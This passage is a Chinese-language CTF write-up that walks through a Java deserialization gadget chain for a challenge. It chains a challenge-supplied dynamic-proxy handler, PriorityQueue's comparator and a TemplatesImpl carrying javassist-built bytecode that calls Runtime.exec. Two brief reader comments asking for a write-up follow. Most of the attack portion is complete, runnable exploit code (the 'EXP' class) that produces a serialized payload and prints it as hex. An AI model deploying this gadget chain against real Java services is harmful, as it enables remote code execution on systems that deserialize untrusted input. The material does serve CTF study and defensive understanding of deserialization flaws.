for(int var7 = 0; var7 < var6; ++var7) {
Method xmethod = var5[var7];
xmethod.invoke(args[0]);
}
return null;
}
}
jar包中没什么可以利用的依赖,存在漏洞的只有一个sankeyaml1.29
包,但没法利用。那么可能是结合动态代理打原生链子了。
利用链构造
构造任意类加载
不论是7u21还是CC链,链子的后半段都用到了TemplatesImpl
这个原生类,通过一系列构造能够实现任意类加载,具体的原理这里就不仔细分析了,网上很多
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static TemplatesImpl generateEvilTemplates() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 转换为bytes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
这里使用了javassist来构造一个恶意类。而最终只要我们能够调用到TemplatesImpl
的getOutputProperties
或者newTransformer
方法即可实现类加载。调用链如下
TemplatesImpl#getOutputProperties ->
TemplatesImpl#newTransformer ->
TemplatesImpl#getTransletInstance ->
TemplatesImpl#defineTransletClasses ->
loader.defineClass(_bytecodes[i])
那么如何能够调用这两个方法呢?可以依靠题目中给出的动态代理
触发动态代理
动态代理会依次调用type类中的无参方法
public class MyInvocationHandler implements InvocationHandler, Serializable {
private Class type;
public MyInvocationHandler() {
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Method[] methods = this.type.getDeclaredMethods();
Method[] var5 = methods;
int var6 = methods.length;
for(int var7 = 0; var7 < var6; ++var7) {
Method xmethod = var5[var7];
xmethod.invoke(args[0]);
}
return null;
}
}
我们可以给属性type
赋值为Templates
类,这样可以保证首先会调用到getOutputProperties
或者newTransformer
方法而不会抛出异常
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}
下面可以构造出后半部分的链子了
import com.example.warmup.MyInvocationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
public class EXP {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static TemplatesImpl generateEvilTemplates() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 转换为bytes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = generateEvilTemplates();
//反射修改type属性值为Templates
MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
Class c = myInvocationHandler.getClass();
Field type = c.getDeclaredField("type");
type.setAccessible(true);
type.set(myInvocationHandler,Templates.class);
//代理接口为Comparator,便于后续调用compare方法
Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);
proxy.equals(generateEvilTemplates());
proxy.compare(generateEvilTemplates());
}
}
最后我们只要保证调用的代理类方法有参,且第一个参数是我们的恶意TemplatesImpl
即可
下一步就是寻找反序列化入口了
寻找反序列化入口点
一般来说,我们在构造利用链的时候有以下几个常用的反序列化入口
HashMap.readObject() -> ... -> XXX.hashCode() -> ...
HashMap.readObject() -> ... -> XXX.equals() -> ...
... -> XXX.toString() -> ...
PriorityQueue.readObject() -> ... -> Comparator.compare() -> ...
由于我们需要调用代理类的一个有参方法,因此这里可供选择的有equals
方法和compare
方法。我们先来看看能否使用equals
方法作为入口点。
这里我以最常用的HashMap
集合类为例,在其putVal
方法中调用了equals
方法
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
....
}
这里我们只需要将key赋值为代理类,将k赋值为恶意TemplatesImpl即可。调用链如下
HashMap#readObject ->
HashMap#hash & HashMap#putVal ->
proxy.equals(TemplatesImpl)
但实际执行会抛出如下空指针异常
原因是hashcode
方法同样会触发动态代理,但由于hashcode
无参,而invoke至少需要一个参数,因此会报空指针异常
事实上,不论是HashMap
,还是HashSet
等其他Hash集合类(实际上很多Hash集合类底层实现都是HashMap),在调用equals
方法进行元素比较前,都一定会调用hashcode
方法计算元素的hash值来保证元素的唯一性。
//HashMap#readObject中的putVal
putVal(hash(key), key, value, false, false);
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
因此对于几个常用的集合类,在调用链调用equals
方法之前,很难绕过hashcode
这一方法。
而在7u21这条链子中同样用到了动态代理,其动态代理类为原生的AnnotationInvocationHandler
,并且其对于hashcode
、toString
等方法都进行了单独处理。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
...
}
}
}
既然equals
方法无法利用,那么我们可以看看Comparator#compare
方法。在CC4中我们也曾利用该方法作为反序列化入口
我们直接跟到PriorityQueue#siftDownUsingComparator
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
这里存在可控的compare
方法,并且comparator
属性和参数x
我们都可以控制。其中x
参数的赋值处在PriorityQueue#heapify
方法中,只需控制属性queue
的值即可
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
构造时由于PriorityQueue#add
方法也会触发compare
方法,因此这里我们最后再通过反射修改属性值
//初始化属性comparator为proxy类
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Object[] queue = {templates,templates};
setFieldValue(priorityQueue,"comparator",proxy);
setFieldValue(priorityQueue,"queue",queue);
serialize(priorityQueue);
完整EXP
构造链如下
PriorityQueue#readObject() ->
PriorityQueue#heapify() ->
PriorityQueue#siftDown()->
PriorityQueue#siftDownUsingComparator() ->
proxy.compare(TemplatesImpl) ->
MyInvocationHandler#invoke() ->
TemplatesImpl#getOutputProperties ->
TemplatesImpl#newTransformer ->
TemplatesImpl#getTransletInstance ->
TemplatesImpl#defineTransletClasses ->
loader.defineClass(_bytecodes[i])
EXP
import com.example.warmup.MyInvocationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
public class EXP {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static TemplatesImpl generateEvilTemplates() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 转换为bytes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
//序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
//反序列化
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object object=ois.readObject();
return object;
}
public static String bytesTohexString(String s) throws IOException {
File file = new File(s);
FileInputStream fis = new FileInputStream(file);
byte[] bytes = new byte[(int) file.length()];
fis.read(bytes);
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = generateEvilTemplates();
MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
Class c = myInvocationHandler.getClass();
Field type = c.getDeclaredField("type");
type.setAccessible(true);
type.set(myInvocationHandler,Templates.class);
//代理接口为Comparator,便于后续调用compare方法
Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);
//初始化属性comparator为proxy类
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Object[] queue = {templates,templates};
setFieldValue(priorityQueue,"comparator",proxy);
setFieldValue(priorityQueue,"queue",queue);
serialize(priorityQueue);
// unserialize("ser.bin");
System.out.println(bytesTohexString("ser.bin"));
}
}
兄弟,这个java的有writeup吗可以分享一下下嘛
没呀,网上都找不到这题的wp